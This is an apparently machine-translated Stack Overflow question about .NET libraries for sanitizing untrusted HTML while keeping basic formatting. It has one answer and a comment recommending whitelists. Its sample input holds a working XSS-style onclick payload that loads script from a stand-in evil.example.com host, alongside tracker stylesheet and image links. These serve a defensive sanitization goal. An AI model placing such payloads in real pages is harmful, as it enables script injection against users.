在保留基本格式的同时,我可以使用什么来清理收到的HTML?

T.J*_*der 32 .net html sanitization html-sanitizing

这是一个常见的问题,我希望它已经彻底解决了我.

在我正在为客户端做的系统中,我们希望从不受信任的来源(HTML格式的电子邮件和HTML文件)接受HTML,清理它以使其没有任何脚本,指向外部资源的链接以及其他安全性/等等 问题; 然后安全地显示它,同时不丢失基本格式.例如,就像电子邮件客户端使用HTML格式的电子邮件一样,但理想情况下不会重复在该领域中已经发生的347,821错误(到目前为止).:-)

目标是最终通过iframe我们自己的Web界面或通过.Net Windows窗体应用程序中的WebBrowser类(这似乎不安全,可能不那么)向内部用户显示我们感觉舒适的东西,以下示例.

我们认识到其中一些可能会破坏文本的显示; 没关系.

我们将在接收时清理HTML并存储已清理的版本(不要担心存储部分 - SQL注入等 - 我们已经覆盖了这一点).

该软件需要在Windows Server上运行.COM DLL或.Net程序集首选.FOSS显然是首选,但不是交易破坏者.

到目前为止我发现了什么:

  • AntiSamy.Net项目 (但它似乎不再是正在积极开发中,是在主后面的一年-活跃- AntiSamy Java项目).
  • 一些代码来自我们自己的杰夫阿特伍德,大约三年前(哎呀,我不知道他在做什么......).
  • HTML敏捷性包 (通过上面的AntiSamy.Net项目中使用的),这会给我一个健壮的分析器; 然后我可以实现我自己的逻辑来遍历生成的DOM并过滤掉我没有列入白名单的任何内容.敏捷包看起来真的很棒,但我依靠自己的白名单,而不是重复使用某人已经发明的轮子,所以这是对它的反对.
  • 微软反XSS库

你会为这项任务推荐什么?以上之一?别的什么?


例如,我们想删除以下内容:

  • script 分子
  • link,img以及与外部资源相关的此类元素(可能会替换img为"[图像已删除]"或其中一些此类文本)
  • embed,object,applet,audio,video,并尝试创建对象的其他标签
  • onclick 和类似的DOM0事件处理程序脚本代码
  • href关于a触发代码的元素(即使是我们认为可以接受的链接,我们也可能会变成用户必须有意复制并粘贴到浏览器中的明文).
  • __________ (我没有想到的722件事是我想要利用已经存在的东西的原因)

例如,这个HTML:

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
<link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css">
</head>
<body>
<p onclick="(function() { var s = document.createElement('script'); s.src = 'http://evil.example.com/scriptattack.js'; document.body.appendChild(s);)();">
<strong>Hi there!</strong> Here's my nefarious tracker image:
<img src='http://evil.example.com/xparent.gif'>
</p>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)

会成为

<!DOCTYPE html>
<html>
<head>
<title>Example</title>
</head>
<body>
<p>
<strong>Hi there!</strong> Here's my nefarious tracker image:
[image removed]
</p>
</body>
</html>
Run Code Online (Sandbox Code Playgroud)

(注意我们完全删除了linkonclick,并用img占位符替换了它.这只是我们想要剥离的一小部分.)

Ara*_*ram 3

我感觉您肯定需要一个可以生成 XML/DOM 源的解析器,以便您可以对其应用 fiter 来生成您正在寻找的内容。

看看HtmlTidyMozillaHtmlCleaner解析器是否可以提供帮助。HtmlCleaner 有许多您可能还想查看的可配置选项。具体来说,转换部分允许您跳过不需要的标签。

  • @TJ:你有点倒退了,使用标签和属性白名单(即只允许这些东西通过)而不是黑名单(即不允许这些东西通过);如果您允许“src”、“href”、“style”等属性通过,您还需要对其进行清理。了解什么是安全的比了解什么是不安全更容易,白名单还使样式设计变得更容易。 (4认同)